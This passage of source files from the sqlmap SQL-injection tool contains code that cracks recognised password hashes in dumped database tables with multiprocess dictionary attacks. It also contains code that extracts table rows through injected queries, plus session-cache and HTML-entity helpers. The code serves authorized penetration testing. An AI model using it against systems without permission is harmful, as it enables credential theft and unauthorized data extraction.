http://packetstormsecurity.org/files/74448/phpassbrute.py.txt http://scriptserver.mainframe8.com/wordpress_password_hasher.php >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp', uppercase=False) '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0' """ def _encode64(input_, count): output = '' i = 0 while i < count: value = ord(input_[i]) i += 1 output = output + ITOA64[value & 0x3f] if i < count: value = value | (ord(input_[i]) << 8) output = output + ITOA64[(value >> 6) & 0x3f] i += 1 if i >= count: break if i < count: value = value | (ord(input_[i]) << 16) output = output + ITOA64[(value >> 12) & 0x3f] i += 1 if i >= count: break output = output + ITOA64[(value >> 18) & 0x3f] return output if isinstance(password, unicode): password = password.encode(UNICODE_ENCODING) cipher = md5(salt) cipher.update(password) hash_ = cipher.digest() for i in xrange(count): _ = md5(hash_) _.update(password) hash_ = _.digest() retVal = prefix + _encode64(hash_, 16) return retVal.upper() if uppercase else retVal __functions__ = { HASH.MYSQL: mysql_passwd, HASH.MYSQL_OLD: mysql_old_passwd, HASH.POSTGRES: postgres_passwd, HASH.MSSQL: mssql_passwd, HASH.MSSQL_OLD: mssql_old_passwd, HASH.MSSQL_NEW: mssql_new_passwd, HASH.ORACLE: oracle_passwd, HASH.ORACLE_OLD: oracle_old_passwd, HASH.MD5_GENERIC: md5_generic_passwd, HASH.SHA1_GENERIC: sha1_generic_passwd, HASH.SHA224_GENERIC: sha224_generic_passwd, HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd, HASH.WORDPRESS: wordpress_passwd, } def storeHashesToFile(attack_dict): if not attack_dict: return if kb.storeHashesChoice is None: message = "do you want to store hashes to a temporary file " message += "for eventual further processing with other tools [y/N] " test = readInput(message, default="N") kb.storeHashesChoice = test[0] in ("y", "Y") if not kb.storeHashesChoice: return handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt") os.close(handle) infoMsg = "writing hashes to a temporary file '%s' " % filename logger.info(infoMsg) items = set() with open(filename, "w+") as f: for user, hashes in attack_dict.items(): for hash_ in hashes: hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if hash_ and hash_ != NULL and hashRecognition(hash_): item = None if user and not user.startswith(DUMMY_USER_PREFIX): item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING)) else: item = "%s\n" % hash_.encode(UNICODE_ENCODING) if item and item not in items: f.write(item) items.add(item) def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: results = dictionaryAttack(kb.data.cachedUsersPasswords) lut = {} for (_, hash_, password) in results: lut[hash_.lower()] = password for user in kb.data.cachedUsersPasswords.keys(): for i in xrange(len(kb.data.cachedUsersPasswords[user])): if (kb.data.cachedUsersPasswords[user][i] or "").strip(): value = kb.data.cachedUsersPasswords[user][i].lower().split()[0] if value in lut: kb.data.cachedUsersPasswords[user][i] += "%s clear-text password: %s" % ('\n' if kb.data.cachedUsersPasswords[user][i][-1] != '\n' else '', lut[value]) def attackDumpedTable(): if kb.data.dumpedTable: table = kb.data.dumpedTable columns = table.keys() count = table["__infos__"]["count"] if not count: return infoMsg = "analyzing table dump for possible password hashes" logger.info(infoMsg) found = False col_user = '' col_passwords = set() attack_dict = {} for column in columns: if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break for column in columns: if column == col_user or column == '__infos__': continue if len(table[column]['values']) <= i: continue value = table[column]['values'][i] if hashRecognition(value): found = True if col_user and i < len(table[col_user]['values']): if table[col_user]['values'][i] not in attack_dict: attack_dict[table[col_user]['values'][i]] = [] attack_dict[table[col_user]['values'][i]].append(value) else: attack_dict['%s%d' % (DUMMY_USER_PREFIX, i)] = [value] col_passwords.add(column) if attack_dict: infoMsg = "recognized possible password hashes in column%s " % ("s" if len(col_passwords) > 1 else "") infoMsg += "'%s'" % ", ".join(col for col in col_passwords) logger.info(infoMsg) storeHashesToFile(attack_dict) message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]") test = readInput(message, default="N" if conf.multipleTargets else "Y") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) lut = dict() for (_, hash_, password) in results: if hash_: lut[hash_.lower()] = password infoMsg = "postprocessing table dump" logger.info(infoMsg) for i in xrange(count): for column in columns: if not (column == col_user or column == '__infos__' or len(table[column]['values']) <= i): value = table[column]['values'][i] if value and value.lower() in lut: table[column]['values'][i] += " (%s)" % lut[value.lower()] table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) def hashRecognition(value): retVal = None isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) if isinstance(value, basestring): for name, regex in getPublicTypeMembers(HASH): # Hashes for Oracle and old MySQL look the same hence these checks if isOracle and regex == HASH.MYSQL_OLD: continue elif isMySQL and regex == HASH.ORACLE_OLD: continue elif regex == HASH.CRYPT_GENERIC: if any((value.lower() == value, value.upper() == value)): continue elif re.match(regex, value): retVal = regex break return retVal def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist): if IS_WIN: coloramainit() count = 0 rotator = 0 hashes = set([item[0][1] for item in attack_info]) wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) try: for word in wordlist: if not attack_info: break if not isinstance(word, basestring): continue if suffix: word = word + suffix try: current = __functions__[hash_regex](password=word, uppercase=False) count += 1 if current in hashes: for item in attack_info[:]: ((user, hash_), _) = item if hash_ == current: retVal.put((user, hash_, word)) clearConsoleLine() infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'\n" % user else: infoMsg += " for hash '%s'\n" % hash_ dataToStdout(infoMsg, True) attack_info.remove(item) elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0 or hash_regex == HASH.ORACLE_OLD or hash_regex == HASH.CRYPT_GENERIC and IS_WIN: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if not hasattr(conf, "api"): dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries except Exception, e: warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" logger.critical(warnMsg) except KeyboardInterrupt: pass finally: if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist): if IS_WIN: coloramainit() count = 0 rotator = 0 wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) try: for word in wordlist: if found.value: break current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) count += 1 if not isinstance(word, basestring): continue if suffix: word = word + suffix try: if hash_ == current: if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes word = word.upper() retVal.put((user, hash_, word)) clearConsoleLine() infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'\n" % user else: infoMsg += " for hash '%s'\n" % hash_ dataToStdout(infoMsg, True) found.value = True elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if user and not user.startswith(DUMMY_USER_PREFIX): status += ' (user: %s)' % user if not hasattr(conf, "api"): dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries except Exception, e: warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" logger.critical(warnMsg) except KeyboardInterrupt: pass finally: if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 def dictionaryAttack(attack_dict): suffix_list = [""] custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] user_hash = [] processException = False foundHash = False for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) infoMsg = "using hash method '%s'" % __functions__[regex].func_name logger.info(infoMsg) for hash_regex in hash_regexes: keys = set() attack_info = [] for (user, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): item = None if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS): hash_ = hash_.lower() if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): item = [(user, hash_), {}] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE,): item = [(user, hash_), {'salt': hash_[-20:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {'salt': hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC,): item = [(user, hash_), {'salt': hash_[0:2]}] elif hash_regex in (HASH.WORDPRESS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {'salt': hash_[4:12], 'count': 1 << ITOA64.index(hash_[3]), 'prefix': hash_[:12]}] else: warnMsg = "invalid hash '%s'" % hash_ logger.warn(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) if not resumed: attack_info.append(item) user_hash.append(item[0]) else: infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'" % user logger.info(infoMsg) resumes.append((user, hash_, resumed)) keys.add(hash_) if not attack_info: continue if not kb.wordlists: while not kb.wordlists: # the slowest of all methods hence smaller default dict if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] message = "what dictionary do you want to use?\n" message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" choice = readInput(message, default="1") try: if choice == "2": message = "what's the custom dictionary's location?\n" dictPaths = [readInput(message)] logger.info("using custom dictionary") elif choice == "3": message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") dictPaths = filter(None, dictPaths) for dictPath in dictPaths: checkFile(dictPath) kb.wordlists = dictPaths except Exception, ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " test = readInput(message, default="N") if test[0] in ("y", "Y"): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name logger.info(infoMsg) for item in attack_info: ((user, _), _) = item if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): for suffix in suffix_list: if not attack_info or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): p = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist)) processes.append(p) for p in processes: p.daemon = True p.start() while count.value > 0: time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) retVal = Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist) except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) attack_info = filter(lambda _: _[0][0] != user or _[0][1] != hash_, attack_info) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine() else: for ((user, hash_), kwargs) in attack_info: if processException: break if any(_[0] == user and _[1] == hash_ for _ in results): continue count = 0 found = False for suffix in suffix_list: if found or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): p = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist)) processes.append(p) for p in processes: p.daemon = True p.start() while count.value > 0: time.sleep(0.5) found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) class Value(): pass retVal = Queue() found_ = Value() found_.value = False _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist) found = found_.value except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine() results.extend(resumes) if foundHash and len(hash_regexes) == 0: warnMsg = "unknown hash format" logger.warn(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" logger.warn(warnMsg) return results sqlmap-1.0.4/lib/utils/hashdb.py000066400000000000000000000162751270044205500165340ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import hashlib import os import sqlite3 import threading import time from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import serializeObject from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject from lib.core.data import logger from lib.core.exception import SqlmapDataException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES from lib.core.settings import HASHDB_FLUSH_THRESHOLD from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadName class HashDB(object): def __init__(self, filepath): self.filepath = filepath self._write_cache = {} self._cache_lock = threading.Lock() def _get_cursor(self): threadData = getCurrentThreadData() if threadData.hashDBCursor is None: try: connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None) threadData.hashDBCursor = connection.cursor() threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") connection.commit() except Exception, ex: errMsg = "error occurred while opening a session " errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) raise SqlmapDataException(errMsg) return threadData.hashDBCursor def _set_cursor(self, cursor): threadData = getCurrentThreadData() threadData.hashDBCursor = cursor cursor = property(_get_cursor, _set_cursor) def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None except: pass @staticmethod def hashKey(key): key = key.encode(UNICODE_ENCODING) if isinstance(key, unicode) else repr(key) retVal = int(hashlib.md5(key).hexdigest()[:12], 16) return retVal def retrieve(self, key, unserialize=False): retVal = None if key and (self._write_cache or os.path.isfile(self.filepath)): hash_ = HashDB.hashKey(key) retVal = self._write_cache.get(hash_) if not retVal: while True: try: for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): retVal = row[0] except sqlite3.OperationalError, ex: if not any(_ in getSafeExString(ex) for _ in ("locked", "no such table")): raise else: warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) singleTimeWarnMessage(warnMsg) except sqlite3.DatabaseError, ex: errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) errMsg += "If the problem persists please rerun with `--flush-session`" raise SqlmapDataException, errMsg else: break if unserialize: try: retVal = unserializeObject(retVal) except: retVal = None warnMsg = "error occurred while unserializing value for session key '%s'. " % key warnMsg += "If the problem persists please rerun with `--flush-session`" logger.warn(warnMsg) return retVal def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) self._cache_lock.acquire() self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) self._cache_lock.release() if getCurrentThreadName() in ('0', 'MainThread'): self.flush() def flush(self, forced=False): if not self._write_cache: return if not forced and len(self._write_cache) < HASHDB_FLUSH_THRESHOLD: return self._cache_lock.acquire() _ = self._write_cache self._write_cache = {} self._cache_lock.release() try: self.beginTransaction() for hash_, value in _.items(): retries = 0 while True: try: try: self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,)) except sqlite3.IntegrityError: self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,)) except sqlite3.DatabaseError, ex: if not os.path.exists(self.filepath): debugMsg = "session file '%s' does not exist" % self.filepath logger.debug(debugMsg) break if retries == 0: warnMsg = "there has been a problem while writing to " warnMsg += "the session file ('%s')" % getSafeExString(ex) logger.warn(warnMsg) if retries >= HASHDB_FLUSH_RETRIES: return else: retries += 1 time.sleep(1) else: break finally: self.endTransaction() def beginTransaction(self): threadData = getCurrentThreadData() if not threadData.inTransaction: try: self.cursor.execute("BEGIN TRANSACTION") except: # Reference: http://stackoverflow.com/a/25245731 self.cursor.close() threadData.hashDBCursor = None self.cursor.execute("BEGIN TRANSACTION") finally: threadData.inTransaction = True def endTransaction(self): threadData = getCurrentThreadData() if threadData.inTransaction: retries = 0 while retries < HASHDB_END_TRANSACTION_RETRIES: try: self.cursor.execute("END TRANSACTION") threadData.inTransaction = False except sqlite3.OperationalError: pass else: return retries += 1 time.sleep(1) try: self.cursor.execute("ROLLBACK TRANSACTION") except sqlite3.OperationalError: self.cursor.close() self.cursor = None finally: threadData.inTransaction = False sqlmap-1.0.4/lib/utils/htmlentities.py000066400000000000000000000121631270044205500200040ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html htmlEntities = { 'quot': 34, 'amp': 38, 'lt': 60, 'gt': 62, 'nbsp': 160, 'iexcl': 161, 'cent': 162, 'pound': 163, 'curren': 164, 'yen': 165, 'brvbar': 166, 'sect': 167, 'uml': 168, 'copy': 169, 'ordf': 170, 'laquo': 171, 'not': 172, 'shy': 173, 'reg': 174, 'macr': 175, 'deg': 176, 'plusmn': 177, 'sup2': 178, 'sup3': 179, 'acute': 180, 'micro': 181, 'para': 182, 'middot': 183, 'cedil': 184, 'sup1': 185, 'ordm': 186, 'raquo': 187, 'frac14': 188, 'frac12': 189, 'frac34': 190, 'iquest': 191, 'Agrave': 192, 'Aacute': 193, 'Acirc': 194, 'Atilde': 195, 'Auml': 196, 'Aring': 197, 'AElig': 198, 'Ccedil': 199, 'Egrave': 200, 'Eacute': 201, 'Ecirc': 202, 'Euml': 203, 'Igrave': 204, 'Iacute': 205, 'Icirc': 206, 'Iuml': 207, 'ETH': 208, 'Ntilde': 209, 'Ograve': 210, 'Oacute': 211, 'Ocirc': 212, 'Otilde': 213, 'Ouml': 214, 'times': 215, 'Oslash': 216, 'Ugrave': 217, 'Uacute': 218, 'Ucirc': 219, 'Uuml': 220, 'Yacute': 221, 'THORN': 222, 'szlig': 223, 'agrave': 224, 'aacute': 225, 'acirc': 226, 'atilde': 227, 'auml': 228, 'aring': 229, 'aelig': 230, 'ccedil': 231, 'egrave': 232, 'eacute': 233, 'ecirc': 234, 'euml': 235, 'igrave': 236, 'iacute': 237, 'icirc': 238, 'iuml': 239, 'eth': 240, 'ntilde': 241, 'ograve': 242, 'oacute': 243, 'ocirc': 244, 'otilde': 245, 'ouml': 246, 'divide': 247, 'oslash': 248, 'ugrave': 249, 'uacute': 250, 'ucirc': 251, 'uuml': 252, 'yacute': 253, 'thorn': 254, 'yuml': 255, 'OElig': 338, 'oelig': 339, 'Scaron': 352, 'fnof': 402, 'scaron': 353, 'Yuml': 376, 'circ': 710, 'tilde': 732, 'Alpha': 913, 'Beta': 914, 'Gamma': 915, 'Delta': 916, 'Epsilon': 917, 'Zeta': 918, 'Eta': 919, 'Theta': 920, 'Iota': 921, 'Kappa': 922, 'Lambda': 923, 'Mu': 924, 'Nu': 925, 'Xi': 926, 'Omicron': 927, 'Pi': 928, 'Rho': 929, 'Sigma': 931, 'Tau': 932, 'Upsilon': 933, 'Phi': 934, 'Chi': 935, 'Psi': 936, 'Omega': 937, 'alpha': 945, 'beta': 946, 'gamma': 947, 'delta': 948, 'epsilon': 949, 'zeta': 950, 'eta': 951, 'theta': 952, 'iota': 953, 'kappa': 954, 'lambda': 955, 'mu': 956, 'nu': 957, 'xi': 958, 'omicron': 959, 'pi': 960, 'rho': 961, 'sigmaf': 962, 'sigma': 963, 'tau': 964, 'upsilon': 965, 'phi': 966, 'chi': 967, 'psi': 968, 'omega': 969, 'thetasym': 977, 'upsih': 978, 'piv': 982, 'bull': 8226, 'hellip': 8230, 'prime': 8242, 'Prime': 8243, 'oline': 8254, 'frasl': 8260, 'ensp': 8194, 'emsp': 8195, 'thinsp': 8201, 'zwnj': 8204, 'zwj': 8205, 'lrm': 8206, 'rlm': 8207, 'ndash': 8211, 'mdash': 8212, 'lsquo': 8216, 'rsquo': 8217, 'sbquo': 8218, 'ldquo': 8220, 'rdquo': 8221, 'bdquo': 8222, 'dagger': 8224, 'Dagger': 8225, 'permil': 8240, 'lsaquo': 8249, 'rsaquo': 8250, 'euro': 8364, 'weierp': 8472, 'image': 8465, 'real': 8476, 'trade': 8482, 'alefsym': 8501, 'larr': 8592, 'uarr': 8593, 'rarr': 8594, 'darr': 8595, 'harr': 8596, 'crarr': 8629, 'lArr': 8656, 'uArr': 8657, 'rArr': 8658, 'dArr': 8659, 'hArr': 8660, 'forall': 8704, 'part': 8706, 'exist': 8707, 'empty': 8709, 'nabla': 8711, 'isin': 8712, 'notin': 8713, 'ni': 8715, 'prod': 8719, 'sum': 8721, 'minus': 8722, 'lowast': 8727, 'radic': 8730, 'prop': 8733, 'infin': 8734, 'ang': 8736, 'and': 8743, 'or': 8744, 'cap': 8745, 'cup': 8746, 'int': 8747, 'there4': 8756, 'sim': 8764, 'cong': 8773, 'asymp': 8776, 'ne': 8800, 'equiv': 8801, 'le': 8804, 'ge': 8805, 'sub': 8834, 'sup': 8835, 'nsub': 8836, 'sube': 8838, 'supe': 8839, 'oplus': 8853, 'otimes': 8855, 'perp': 8869, 'sdot': 8901, 'lceil': 8968, 'rceil': 8969, 'lfloor': 8970, 'rfloor': 8971, 'lang': 9001, 'rang': 9002, 'loz': 9674, 'spades': 9824, 'clubs': 9827, 'hearts': 9829, 'diams': 9830, } sqlmap-1.0.4/lib/utils/pivotdumptable.py000066400000000000000000000156231270044205500203360ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from extra.safe2bin.safe2bin import safechardecode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.settings import MAX_INT from lib.core.unescaper import unescaper from lib.request import inject def pivotDumpTable(table, colList, count=None, blind=True): lengths = {} entries = {} dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind validColumnList = False validPivotValue = False if count is None: query = dumpNode.count % table query = whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) if isinstance(count, basestring) and count.isdigit(): count = int(count) if count == 0: infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) for column in colList: lengths[column] = len(column) entries[column] = [] return entries, lengths elif not isNumPosStrValue(count): return None for column in colList: lengths[column] = 0 entries[column] = BigArray() colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: for _ in colList: if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) colList.remove(_) colList.insert(0, _) validPivotValue = True break if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table logger.warn(warnMsg) if not validPivotValue: for column in colList: infoMsg = "fetching number of distinct " infoMsg += "values for column '%s'" % column logger.info(infoMsg) query = dumpNode.count2 % (column, table) query = whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): validColumnList = True if value == count: infoMsg = "using column '%s' as a pivot " % column infoMsg += "for retrieving row data" logger.info(infoMsg) validPivotValue = True colList.remove(column) colList.insert(0, column) break if not validColumnList: errMsg = "all column name(s) provided are non-existent" raise SqlmapNoneDataException(errMsg) if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" logger.warn(warnMsg) pivotValue = " " breakRetrieval = False def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) query = whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) try: for i in xrange(count): if breakRetrieval: break for column in colList: value = _(column, pivotValue) if column == colList[0]: if isNoneValue(value): for pivotValue in filter(None, (" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))): value = _(column, pivotValue) if not isNoneValue(value): break if isNoneValue(value): breakRetrieval = True break pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: if conf.limitStart and (i + 1) < conf.limitStart: warnMsg = "skipping first %d pivot " % conf.limitStart warnMsg += "point values" singleTimeWarnMessage(warnMsg) break elif conf.limitStop and (i + 1) > conf.limitStop: breakRetrieval = True break value = "" if isNoneValue(value) else unArrayizeValue(value) lengths[column] = max(lengths[column], len(value) if value else 0) entries[column].append(value) except KeyboardInterrupt: warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) except SqlmapConnectionException, e: errMsg = "connection exception detected. sqlmap " errMsg += "will display partial output" errMsg += "'%s'" % e logger.critical(errMsg) return entries, lengths def whereQuery(query): if conf.dumpWhere and query: prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") if "%s)" % conf.tbl.upper() in prefix.upper(): prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) elif re.search(r"(?i)\bWHERE\b", prefix): prefix += " AND %s" % conf.dumpWhere else: prefix += " WHERE %s" % conf.dumpWhere query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix return query sqlmap-1.0.4/lib/utils/progress.py000066400000000000000000000071061270044205500171400ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import getUnicode from lib.core.common import dataToStdout from lib.core.data import conf from lib.core.data import kb class ProgressBar(object): """ This class defines methods to update and draw a progress bar """ def __init__(self, minValue=0, maxValue=10, 